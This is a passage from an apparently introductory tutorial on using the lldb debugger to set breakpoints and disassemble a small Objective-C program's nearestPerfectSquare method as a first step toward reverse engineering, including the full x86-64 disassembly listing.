  <span class="hljs-number">3.1</span>: where <span class="hljs-operator">=</span> myNumberExtended`<span class="hljs-operator">-</span>[myNumber isPrime], <span class="hljs-keyword">address</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x00000001000038e0</span>, resolved, hit count <span class="hljs-operator">=</span> <span class="hljs-number">2</span> 

<span class="hljs-number">4</span>: <span class="hljs-keyword">address</span> <span class="hljs-operator">=</span> myNumberExtended[<span class="hljs-number">0x0000000100003680</span>], locations <span class="hljs-operator">=</span> <span class="hljs-number">1</span>, resolved <span class="hljs-operator">=</span> <span class="hljs-number">1</span>, hit count <span class="hljs-operator">=</span> <span class="hljs-number">1</span>
  <span class="hljs-number">4.1</span>: where <span class="hljs-operator">=</span> myNumberExtended`<span class="hljs-operator">-</span>[myNumber randomInit], <span class="hljs-keyword">address</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x0000000100003680</span>, resolved, hit count <span class="hljs-operator">=</span> <span class="hljs-number">1</span> 

<span class="hljs-number">5</span>: name <span class="hljs-operator">=</span> <span class="hljs-string">'-[myNumber isPerfectSquare]'</span>, module <span class="hljs-operator">=</span> myNumberExtended, locations <span class="hljs-operator">=</span> <span class="hljs-number">1</span>, resolved <span class="hljs-operator">=</span> <span class="hljs-number">1</span>, hit count <span class="hljs-operator">=</span> <span class="hljs-number">6</span>
  <span class="hljs-number">5.1</span>: where <span class="hljs-operator">=</span> myNumberExtended`<span class="hljs-operator">-</span>[myNumber isPerfectSquare], <span class="hljs-keyword">address</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x0000000100003710</span>, resolved, hit count <span class="hljs-operator">=</span> <span class="hljs-number">6</span> 

<span class="hljs-number">6</span>: name <span class="hljs-operator">=</span> <span class="hljs-string">'-[myNumber nearestPerfectSquare]'</span>, module <span class="hljs-operator">=</span> myNumberExtended, locations <span class="hljs-operator">=</span> <span class="hljs-number">1</span>, resolved <span class="hljs-operator">=</span> <span class="hljs-number">1</span>, hit count <span class="hljs-operator">=</span> <span class="hljs-number">4</span>
  <span class="hljs-number">6.1</span>: where <span class="hljs-operator">=</span> myNumberExtended`<span class="hljs-operator">-</span>[myNumber nearestPerfectSquare], <span class="hljs-keyword">address</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x00000001000037a0</span>, resolved, hit count <span class="hljs-operator">=</span> <span class="hljs-number">4</span>
</code></pre><p>Breakpoint 6 served us well - let's give it some rest:</p>
<pre><code><span class="hljs-string">(lldb)</span> <span class="hljs-string">breakpoint</span> <span class="hljs-string">delete</span> <span class="hljs-number">6</span>
<span class="hljs-number">1</span> <span class="hljs-string">breakpoints</span> <span class="hljs-string">deleted;</span> <span class="hljs-number">0</span> <span class="hljs-string">breakpoint</span> <span class="hljs-string">locations</span> <span class="hljs-string">disabled.</span>
</code></pre><p>Far from being the masters of the breakpoints, we now have a fair understanding of how to use them.</p>
<h2 id="heading-disassembling">Disassembling</h2>
<p>Disassembling the whole program can be quite useless - also disassembling the whole <code>main</code> routine produces a lot of code. Remember: the final objective of these efforts would be doing reverse engineering, so we want to make our lives easier... and we have to consider the fact that - at least until now - we are <strong>not</strong> able to write any assembly :)!</p>
<p>Let's start by disassembling one routine, for instance <code>nearestPerfectSquare</code>. We proceed as follows:</p>
<pre><code>(lldb) disassemble <span class="hljs-operator">-</span>n nearestPerfectSquare
myNumberExtended`<span class="hljs-operator">-</span>[myNumber nearestPerfectSquare]:
myNumberExtended[<span class="hljs-number">0x100003710</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">0</span><span class="hljs-operator">&gt;</span>:   push   rbp
myNumberExtended[<span class="hljs-number">0x100003711</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">1</span><span class="hljs-operator">&gt;</span>:   mov    rbp, rsp
myNumberExtended[<span class="hljs-number">0x100003714</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">4</span><span class="hljs-operator">&gt;</span>:   sub    rsp, <span class="hljs-number">0x50</span>
myNumberExtended[<span class="hljs-number">0x100003718</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">8</span><span class="hljs-operator">&gt;</span>:   mov    rax, rdi
myNumberExtended[<span class="hljs-number">0x10000371b</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">11</span><span class="hljs-operator">&gt;</span>:  lea    rdi, [rip <span class="hljs-operator">+</span> <span class="hljs-number">0x98e</span>]        ; @<span class="hljs-string">"Looking for perfect squares"</span>
myNumberExtended[<span class="hljs-number">0x100003722</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">18</span><span class="hljs-operator">&gt;</span>:  mov    qword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x8</span>], rax
myNumberExtended[<span class="hljs-number">0x100003726</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">22</span><span class="hljs-operator">&gt;</span>:  mov    qword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x10</span>], rsi
myNumberExtended[<span class="hljs-number">0x10000372a</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">26</span><span class="hljs-operator">&gt;</span>:  mov    al, <span class="hljs-number">0x0</span>
myNumberExtended[<span class="hljs-number">0x10000372c</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">28</span><span class="hljs-operator">&gt;</span>:  call   <span class="hljs-number">0x100003cda</span>               ; symbol stub <span class="hljs-keyword">for</span>: NSLog
myNumberExtended[<span class="hljs-number">0x100003731</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">33</span><span class="hljs-operator">&gt;</span>:  mov    dword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x14</span>], <span class="hljs-number">0x0</span>
myNumberExtended[<span class="hljs-number">0x100003738</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">40</span><span class="hljs-operator">&gt;</span>:  mov    rdi, qword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x8</span>]
myNumberExtended[<span class="hljs-number">0x10000373c</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">44</span><span class="hljs-operator">&gt;</span>:  mov    rsi, qword ptr [rip <span class="hljs-operator">+</span> <span class="hljs-number">0x4a75</span>] ; <span class="hljs-string">"isPerfectSquare"</span>
myNumberExtended[<span class="hljs-number">0x100003743</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">51</span><span class="hljs-operator">&gt;</span>:  call   qword ptr [rip <span class="hljs-operator">+</span> <span class="hljs-number">0x8b7</span>]   ; (void <span class="hljs-operator">*</span>)<span class="hljs-number">0x0000000000000000</span>
myNumberExtended[<span class="hljs-number">0x100003749</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">57</span><span class="hljs-operator">&gt;</span>:  cmp    al, <span class="hljs-number">0x0</span>
myNumberExtended[<span class="hljs-number">0x10000374b</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">59</span><span class="hljs-operator">&gt;</span>:  je     <span class="hljs-number">0x10000376a</span>               ; <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">90</span><span class="hljs-operator">&gt;</span>
myNumberExtended[<span class="hljs-number">0x100003751</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">65</span><span class="hljs-operator">&gt;</span>:  mov    rdi, qword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x8</span>]
myNumberExtended[<span class="hljs-number">0x100003755</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">69</span><span class="hljs-operator">&gt;</span>:  mov    rsi, qword ptr [rip <span class="hljs-operator">+</span> <span class="hljs-number">0x4a54</span>] ; <span class="hljs-string">"value"</span>
myNumberExtended[<span class="hljs-number">0x10000375c</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">76</span><span class="hljs-operator">&gt;</span>:  call   qword ptr [rip <span class="hljs-operator">+</span> <span class="hljs-number">0x89e</span>]   ; (void <span class="hljs-operator">*</span>)<span class="hljs-number">0x0000000000000000</span>
myNumberExtended[<span class="hljs-number">0x100003762</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">82</span><span class="hljs-operator">&gt;</span>:  mov    dword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x14</span>], eax
myNumberExtended[<span class="hljs-number">0x100003765</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">85</span><span class="hljs-operator">&gt;</span>:  jmp    <span class="hljs-number">0x10000385a</span>               ; <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">330</span><span class="hljs-operator">&gt;</span>
myNumberExtended[<span class="hljs-number">0x10000376a</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">90</span><span class="hljs-operator">&gt;</span>:  mov    rdi, qword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x8</span>]
myNumberExtended[<span class="hljs-number">0x10000376e</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">94</span><span class="hljs-operator">&gt;</span>:  mov    rsi, qword ptr [rip <span class="hljs-operator">+</span> <span class="hljs-number">0x4a3b</span>] ; <span class="hljs-string">"value"</span>
myNumberExtended[<span class="hljs-number">0x100003775</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">101</span><span class="hljs-operator">&gt;</span>: call   qword ptr [rip <span class="hljs-operator">+</span> <span class="hljs-number">0x885</span>]   ; (void <span class="hljs-operator">*</span>)<span class="hljs-number">0x0000000000000000</span>
myNumberExtended[<span class="hljs-number">0x10000377b</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">107</span><span class="hljs-operator">&gt;</span>: cvtsi2sd xmm0, eax
myNumberExtended[<span class="hljs-number">0x10000377f</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">111</span><span class="hljs-operator">&gt;</span>: movsd  qword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x20</span>], xmm0
myNumberExtended[<span class="hljs-number">0x100003784</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">116</span><span class="hljs-operator">&gt;</span>: movsd  xmm0, qword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x20</span>] ; xmm0 <span class="hljs-operator">=</span> mem[<span class="hljs-number">0</span>],zero 
myNumberExtended[<span class="hljs-number">0x100003789</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">121</span><span class="hljs-operator">&gt;</span>: sqrtsd xmm0, xmm0
myNumberExtended[<span class="hljs-number">0x10000378d</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">125</span><span class="hljs-operator">&gt;</span>: movsd  qword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x28</span>], xmm0
myNumberExtended[<span class="hljs-number">0x100003792</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">130</span><span class="hljs-operator">&gt;</span>: cvttsd2si eax, qword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x28</span>]
myNumberExtended[<span class="hljs-number">0x100003797</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">135</span><span class="hljs-operator">&gt;</span>: mov    dword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x2c</span>], eax
myNumberExtended[<span class="hljs-number">0x10000379a</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">138</span><span class="hljs-operator">&gt;</span>: mov    eax, dword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x2c</span>]
myNumberExtended[<span class="hljs-number">0x10000379d</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">141</span><span class="hljs-operator">&gt;</span>: add    eax, <span class="hljs-number">0x1</span>
myNumberExtended[<span class="hljs-number">0x1000037a0</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">144</span><span class="hljs-operator">&gt;</span>: mov    dword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x30</span>], eax
myNumberExtended[<span class="hljs-number">0x1000037a3</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">147</span><span class="hljs-operator">&gt;</span>: mov    eax, dword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x2c</span>]
myNumberExtended[<span class="hljs-number">0x1000037a6</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">150</span><span class="hljs-operator">&gt;</span>: imul   eax, dword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x2c</span>]
myNumberExtended[<span class="hljs-number">0x1000037aa</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">154</span><span class="hljs-operator">&gt;</span>: mov    dword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x34</span>], eax
myNumberExtended[<span class="hljs-number">0x1000037ad</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">157</span><span class="hljs-operator">&gt;</span>: mov    eax, dword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x30</span>]
myNumberExtended[<span class="hljs-number">0x1000037b0</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">160</span><span class="hljs-operator">&gt;</span>: imul   eax, dword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x30</span>]
myNumberExtended[<span class="hljs-number">0x1000037b4</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">164</span><span class="hljs-operator">&gt;</span>: mov    dword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x38</span>], eax
myNumberExtended[<span class="hljs-number">0x1000037b7</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">167</span><span class="hljs-operator">&gt;</span>: mov    rdi, qword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x8</span>]
myNumberExtended[<span class="hljs-number">0x1000037bb</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">171</span><span class="hljs-operator">&gt;</span>: mov    rsi, qword ptr [rip <span class="hljs-operator">+</span> <span class="hljs-number">0x49ee</span>] ; <span class="hljs-string">"value"</span>
myNumberExtended[<span class="hljs-number">0x1000037c2</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">178</span><span class="hljs-operator">&gt;</span>: call   qword ptr [rip <span class="hljs-operator">+</span> <span class="hljs-number">0x838</span>]   ; (void <span class="hljs-operator">*</span>)<span class="hljs-number">0x0000000000000000</span>
myNumberExtended[<span class="hljs-number">0x1000037c8</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">184</span><span class="hljs-operator">&gt;</span>: sub    eax, dword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x34</span>]
myNumberExtended[<span class="hljs-number">0x1000037cb</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">187</span><span class="hljs-operator">&gt;</span>: mov    dword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x3c</span>], eax
myNumberExtended[<span class="hljs-number">0x1000037ce</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">190</span><span class="hljs-operator">&gt;</span>: mov    eax, dword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x38</span>]
myNumberExtended[<span class="hljs-number">0x1000037d1</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">193</span><span class="hljs-operator">&gt;</span>: mov    dword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x44</span>], eax
myNumberExtended[<span class="hljs-number">0x1000037d4</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">196</span><span class="hljs-operator">&gt;</span>: mov    rdi, qword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x8</span>]
myNumberExtended[<span class="hljs-number">0x1000037d8</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">200</span><span class="hljs-operator">&gt;</span>: mov    rsi, qword ptr [rip <span class="hljs-operator">+</span> <span class="hljs-number">0x49d1</span>] ; <span class="hljs-string">"value"</span>
myNumberExtended[<span class="hljs-number">0x1000037df</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">207</span><span class="hljs-operator">&gt;</span>: call   qword ptr [rip <span class="hljs-operator">+</span> <span class="hljs-number">0x81b</span>]   ; (void <span class="hljs-operator">*</span>)<span class="hljs-number">0x0000000000000000</span>
myNumberExtended[<span class="hljs-number">0x1000037e5</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">213</span><span class="hljs-operator">&gt;</span>: mov    ecx, eax
myNumberExtended[<span class="hljs-number">0x1000037e7</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">215</span><span class="hljs-operator">&gt;</span>: mov    eax, dword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x44</span>]
myNumberExtended[<span class="hljs-number">0x1000037ea</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">218</span><span class="hljs-operator">&gt;</span>: sub    eax, ecx
myNumberExtended[<span class="hljs-number">0x1000037ec</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">220</span><span class="hljs-operator">&gt;</span>: mov    dword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x40</span>], eax
myNumberExtended[<span class="hljs-number">0x1000037ef</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">223</span><span class="hljs-operator">&gt;</span>: mov    eax, dword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x3c</span>]
myNumberExtended[<span class="hljs-number">0x1000037f2</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">226</span><span class="hljs-operator">&gt;</span>: cmp    eax, dword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x40</span>]
myNumberExtended[<span class="hljs-number">0x1000037f5</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">229</span><span class="hljs-operator">&gt;</span>: jge    <span class="hljs-number">0x10000380f</span>               ; <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">255</span><span class="hljs-operator">&gt;</span>
myNumberExtended[<span class="hljs-number">0x1000037fb</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">235</span><span class="hljs-operator">&gt;</span>: lea    rdi, [rip <span class="hljs-operator">+</span> <span class="hljs-number">0x8ce</span>]        ; @<span class="hljs-string">"The nearest square is the lowest one"</span>
myNumberExtended[<span class="hljs-number">0x100003802</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">242</span><span class="hljs-operator">&gt;</span>: mov    al, <span class="hljs-number">0x0</span>
myNumberExtended[<span class="hljs-number">0x100003804</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">244</span><span class="hljs-operator">&gt;</span>: call   <span class="hljs-number">0x100003cda</span>               ; symbol stub <span class="hljs-keyword">for</span>: NSLog
myNumberExtended[<span class="hljs-number">0x100003809</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">249</span><span class="hljs-operator">&gt;</span>: mov    eax, dword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x34</span>]
myNumberExtended[<span class="hljs-number">0x10000380c</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">252</span><span class="hljs-operator">&gt;</span>: mov    dword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x14</span>], eax
myNumberExtended[<span class="hljs-number">0x10000380f</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">255</span><span class="hljs-operator">&gt;</span>: mov    eax, dword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x40</span>]
myNumberExtended[<span class="hljs-number">0x100003812</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">258</span><span class="hljs-operator">&gt;</span>: cmp    eax, dword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x3c</span>]
myNumberExtended[<span class="hljs-number">0x100003815</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">261</span><span class="hljs-operator">&gt;</span>: jge    <span class="hljs-number">0x10000382f</span>               ; <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">287</span><span class="hljs-operator">&gt;</span>
myNumberExtended[<span class="hljs-number">0x10000381b</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">267</span><span class="hljs-operator">&gt;</span>: lea    rdi, [rip <span class="hljs-operator">+</span> <span class="hljs-number">0x8ce</span>]        ; @<span class="hljs-string">"The nearest square is the highest one"</span>
myNumberExtended[<span class="hljs-number">0x100003822</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">274</span><span class="hljs-operator">&gt;</span>: mov    al, <span class="hljs-number">0x0</span>
myNumberExtended[<span class="hljs-number">0x100003824</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">276</span><span class="hljs-operator">&gt;</span>: call   <span class="hljs-number">0x100003cda</span>               ; symbol stub <span class="hljs-keyword">for</span>: NSLog
myNumberExtended[<span class="hljs-number">0x100003829</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">281</span><span class="hljs-operator">&gt;</span>: mov    eax, dword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x38</span>]
myNumberExtended[<span class="hljs-number">0x10000382c</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">284</span><span class="hljs-operator">&gt;</span>: mov    dword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x14</span>], eax
myNumberExtended[<span class="hljs-number">0x10000382f</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">287</span><span class="hljs-operator">&gt;</span>: mov    eax, dword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x40</span>]
myNumberExtended[<span class="hljs-number">0x100003832</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">290</span><span class="hljs-operator">&gt;</span>: cmp    eax, dword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x3c</span>]
myNumberExtended[<span class="hljs-number">0x100003835</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">293</span><span class="hljs-operator">&gt;</span>: jne    <span class="hljs-number">0x100003855</span>               ; <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">325</span><span class="hljs-operator">&gt;</span>
myNumberExtended[<span class="hljs-number">0x10000383b</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">299</span><span class="hljs-operator">&gt;</span>: lea    rdi, [rip <span class="hljs-operator">+</span> <span class="hljs-number">0x8ce</span>]        ; @<span class="hljs-string">"The given number is exactly in the middle of two perfect squares: %i and %i. Returning the lowest"</span>
myNumberExtended[<span class="hljs-number">0x100003842</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">306</span><span class="hljs-operator">&gt;</span>: mov    esi, dword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x34</span>]
myNumberExtended[<span class="hljs-number">0x100003845</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">309</span><span class="hljs-operator">&gt;</span>: mov    edx, dword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x38</span>]
myNumberExtended[<span class="hljs-number">0x100003848</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">312</span><span class="hljs-operator">&gt;</span>: mov    al, <span class="hljs-number">0x0</span>
myNumberExtended[<span class="hljs-number">0x10000384a</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">314</span><span class="hljs-operator">&gt;</span>: call   <span class="hljs-number">0x100003cda</span>               ; symbol stub <span class="hljs-keyword">for</span>: NSLog
myNumberExtended[<span class="hljs-number">0x10000384f</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">319</span><span class="hljs-operator">&gt;</span>: mov    eax, dword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x34</span>]
myNumberExtended[<span class="hljs-number">0x100003852</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">322</span><span class="hljs-operator">&gt;</span>: mov    dword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x14</span>], eax
myNumberExtended[<span class="hljs-number">0x100003855</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">325</span><span class="hljs-operator">&gt;</span>: jmp    <span class="hljs-number">0x10000385a</span>               ; <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">330</span><span class="hljs-operator">&gt;</span>
myNumberExtended[<span class="hljs-number">0x10000385a</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">330</span><span class="hljs-operator">&gt;</span>: lea    rdi, [rip <span class="hljs-operator">+</span> <span class="hljs-number">0x8cf</span>]        ; @<span class="hljs-string">"Returning the value"</span>
myNumberExtended[<span class="hljs-number">0x100003861</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">337</span><span class="hljs-operator">&gt;</span>: mov    al, <span class="hljs-number">0x0</span>
myNumberExtended[<span class="hljs-number">0x100003863</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">339</span><span class="hljs-operator">&gt;</span>: call   <span class="hljs-number">0x100003cda</span>               ; symbol stub <span class="hljs-keyword">for</span>: NSLog
myNumberExtended[<span class="hljs-number">0x100003868</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">344</span><span class="hljs-operator">&gt;</span>: mov    eax, dword ptr [rbp <span class="hljs-operator">-</span> <span class="hljs-number">0x14</span>]
myNumberExtended[<span class="hljs-number">0x10000386b</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">347</span><span class="hljs-operator">&gt;</span>: add    rsp, <span class="hljs-number">0x50</span>
myNumberExtended[<span class="hljs-number">0x10000386f</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">351</span><span class="hljs-operator">&gt;</span>: pop    rbp
myNumberExtended[<span class="hljs-number">0x100003870</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">352</span><span class="hljs-operator">&gt;</span>: ret    
myNumberExtended[<span class="hljs-number">0x100003871</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">353</span><span class="hljs-operator">&gt;</span>: nop    word ptr cs:[rax <span class="hljs-operator">+</span> rax]
myNumberExtended[<span class="hljs-number">0x10000387b</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">363</span><span class="hljs-operator">&gt;</span>: nop    dword ptr [rax <span class="hljs-operator">+</span> rax]
</code></pre><p>If we take a look at the Objective-C code, we immediately see that this routine gets the value of the property <code>value</code> and finds the nearest square to it.</p>
<p>This is interesting because this way we can learn where a return value is stored.</p>
<p>We have two possibilities: </p>
<ol>
<li>set a breakpoint to the beginning of the routine and see what happens, step by step</li>
<li>set a breakpoint somewhere before the end of the routine and see the values of the registers.</li>
</ol>
<p>Once again, here we assume that we have no talent at all and <em>we do not know any assembly</em> - so let's go for the easiest option.</p>
<p>We can set a breakpoint at the address <code>0x100003848</code>, just before the <code>NSLog</code> instruction is called and examine the registers. From the Objective C code we know that the first object on which the method is invoked has the property <code>value</code> set to 155 (or <code>0x9B</code>). This value is between 12<em>12=144 (<code>0X90</code>) and 13</em>13=169 (<code>0xA9</code>). The nearest square is obviously 144. </p>
<p>The situation should be as follows:</p>
<pre><code>(lldb) br s <span class="hljs-operator">-</span>a <span class="hljs-number">0x100003861</span>
Breakpoint <span class="hljs-number">4</span>: where <span class="hljs-operator">=</span> myNumberExtended`<span class="hljs-operator">-</span>[myNumber nearestPerfectSquare] <span class="hljs-operator">+</span> <span class="hljs-number">337</span>, <span class="hljs-keyword">address</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x0000000100003861</span>
(lldb) br list 
Current breakpoints:
